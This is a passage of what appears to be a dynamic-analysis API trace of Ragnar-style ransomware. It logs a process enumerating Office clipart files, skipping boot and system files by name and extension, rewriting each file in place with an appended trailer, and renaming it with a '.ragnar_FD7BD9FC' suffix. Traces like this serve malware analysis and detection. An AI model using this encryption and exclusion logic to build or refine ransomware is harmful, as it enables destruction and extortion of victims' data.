nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.028] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.028] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.028] GetProcessHeap () returned 0x580000 [0083.028] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.028] CloseHandle (hObject=0xf4) returned 1 [0083.028] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" [0083.028] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.ragnar_FD7BD9FC" [0083.028] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0083.029] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.029] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099146.WMF" | out: lpString1="J0099146.WMF") returned="J0099146.WMF" [0083.029] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned=".WMF" [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="autorun.inf") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="boot.ini") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="bootfont.bin") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="bootsect.bak") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="bootmgr") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="bootmgr.efi") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="bootmgfw.efi") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="desktop.ini") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="iconcache.db") returned 1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="ntldr") returned -1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="ntuser.dat") returned -1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="ntuser.dat.log") returned -1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="ntuser.ini") returned -1 [0083.029] lstrcmpiW (lpString1="J0099146.WMF", lpString2="thumbs.db") returned -1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.029] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0083.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.030] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16596) returned 1 [0083.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.030] GetProcessHeap () returned 0x580000 [0083.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.030] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.031] VirtualAlloc (lpAddress=0x0, dwSize=0x40d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.031] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.031] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.031] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x40d4, lpOverlapped=0x0) returned 1 [0083.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.033] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.033] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x40d4, lpOverlapped=0x0) returned 1 [0083.033] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.033] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.033] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.033] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.033] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.034] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.034] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.034] GetProcessHeap () returned 0x580000 [0083.034] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.034] CloseHandle (hObject=0xf4) returned 1 [0083.034] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" [0083.034] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.ragnar_FD7BD9FC" [0083.034] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.034] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0083.034] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.034] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099147.JPG" | out: lpString1="J0099147.JPG") returned="J0099147.JPG" [0083.034] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned=".JPG" [0083.034] lstrcmpiW (lpString1="J0099147.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.034] lstrcmpiW (lpString1="J0099147.JPG", lpString2="autorun.inf") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="boot.ini") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="bootfont.bin") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="bootsect.bak") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="bootmgr") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="bootmgr.efi") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="bootmgfw.efi") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="desktop.ini") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="iconcache.db") returned 1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="ntldr") returned -1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="ntuser.dat") returned -1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="ntuser.dat.log") returned -1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="ntuser.ini") returned -1 [0083.035] lstrcmpiW (lpString1="J0099147.JPG", lpString2="thumbs.db") returned -1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.035] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0083.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.035] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24377) returned 1 [0083.036] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.036] GetProcessHeap () returned 0x580000 [0083.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.036] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.037] VirtualAlloc (lpAddress=0x0, dwSize=0x5f39, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.037] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5f39, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5f39, lpOverlapped=0x0) returned 1 [0083.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.039] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f39, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.039] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5f39, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5f39, lpOverlapped=0x0) returned 1 [0083.039] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f39, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.039] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.039] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.039] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.039] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.039] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.040] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.040] GetProcessHeap () returned 0x580000 [0083.040] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.040] CloseHandle (hObject=0xf4) returned 1 [0083.040] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" [0083.040] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.ragnar_FD7BD9FC" [0083.040] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.040] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0083.040] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.040] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099148.JPG" | out: lpString1="J0099148.JPG") returned="J0099148.JPG" [0083.040] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned=".JPG" [0083.040] lstrcmpiW (lpString1="J0099148.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.040] lstrcmpiW (lpString1="J0099148.JPG", lpString2="autorun.inf") returned 1 [0083.040] lstrcmpiW (lpString1="J0099148.JPG", lpString2="boot.ini") returned 1 [0083.040] lstrcmpiW (lpString1="J0099148.JPG", lpString2="bootfont.bin") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="bootsect.bak") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="bootmgr") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="bootmgr.efi") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="bootmgfw.efi") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="desktop.ini") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="iconcache.db") returned 1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="ntldr") returned -1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="ntuser.dat") returned -1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="ntuser.dat.log") returned -1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="ntuser.ini") returned -1 [0083.041] lstrcmpiW (lpString1="J0099148.JPG", lpString2="thumbs.db") returned -1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.041] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0083.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.041] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18258) returned 1 [0083.041] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4749, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.041] GetProcessHeap () returned 0x580000 [0083.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.042] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.043] VirtualAlloc (lpAddress=0x0, dwSize=0x4752, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.043] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4752, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4752, lpOverlapped=0x0) returned 1 [0083.044] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4752, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.045] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4752, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4752, lpOverlapped=0x0) returned 1 [0083.045] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4752, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.045] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4752, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.045] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.045] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.045] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.045] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.045] GetProcessHeap () returned 0x580000 [0083.045] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.045] CloseHandle (hObject=0xf4) returned 1 [0083.046] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" | out: lpString1="\\\\?\\C:\\Program 